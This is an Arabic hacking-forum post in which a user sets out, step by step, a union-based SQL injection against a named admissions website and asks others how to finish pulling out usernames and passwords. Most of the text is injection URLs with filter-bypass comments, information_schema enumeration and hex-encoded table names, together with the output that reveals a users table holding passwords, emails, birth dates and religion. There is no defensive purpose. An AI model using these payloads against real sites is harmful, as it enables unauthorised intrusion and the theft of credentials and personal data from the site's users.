واجهتني مشكلة في استخراج اليوزر والباس بعد الحقن في هذا الموقع

[qasim]

حياك الله ايها المكرم وبارك الله في مسعاك

لكن اخي لم تظهر اليوزر والباس

ما زالت المشكله

سوف اشرح اخي الكريم الطريقه التى اتبعتها

http://varsitycampus.com/admission/s...php?id=1466%27

ظهر الموقع مصاب

ومن ثم اظهار عدد الاعمدة المصابة:

http://varsitycampus.com/admission/s...st.php?id=1466' order by 10-- -

عدد الاعمدة المصابة = 10

ومن ثم اظهرت العمود المصاب من خلال هذا الامر:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,3,4,5,6,7,8,9,10-- -

ومن ثم اظهرت اصدار القاعدة :

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,version(),4,5,6,7,8,9,10-- -

5.5.21-55


,ومن ثم استخرجت اسم القاعدة:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,database(),4,5,6,7,8,9,10-- -

varsityc_db1


ومن ثم استعملت هذا الامر حتى استخرج معلومات السيكما:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns-- -

CHARACTER_SETS:CHARACTER_SET_NAME:information_sche ma



ومن ثم استخرجت اسم الجدول:

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns+where +column_name+LIKE+CHAR(37, 112, 97, 115, 115, 37)-- -

ظهر لي جدولين..السؤال اي واحد اخذ

users:password:varsityc_db1



wallusers:mem_pass:varsityc_db1


ومن ثم شفرت اسم الجدول اللي هو users

,وعملت هذا الامر:

0x7573657273

http://varsitycampus.com/admission/s...st.php?id=1466' UNION /*!SELECT*/ 1,2,/*!concat*/(table_name,0x3a,column_name,0x3a,table_schema),4, 5,6,7,8,9,10+from+information_schema.columns+where +table_name=0x7573657273-- -

ظهرت لي هذه المعلومات..

HSC Admission 2012 -13 session Rules & Procedure users:id:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:first_name:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:last_name:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:username:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:email:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:password:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:dob_day:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:dob_month:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:dob_year:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:gender:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:university:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:religion:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:type:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:photo:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:code:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:u_status:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:online:varsityc_db1

Posted at - 8 Total hit this page : 9

4
Share on facebook Share on twitter Share on email Share on print More Sharing Services 0

7 users:u_date:varsityc_db1

Posted at - 8 Total hit this page : 9

4

=====================

اخذت هذه المعلومات التى تشبه اليوزر والباس:

users:id:varsityc_db1


users:username:varsityc_db1


users:email:varsityc_db1


users:password:varsityc_db1

ممكن توضيح من الاخوة عند ظهور هذه الكلمات اي واحده اختار ك

table_name
table_schema
column_name


ارجوووا من الاخوة التوضيح حتى تزووول هذه المشكله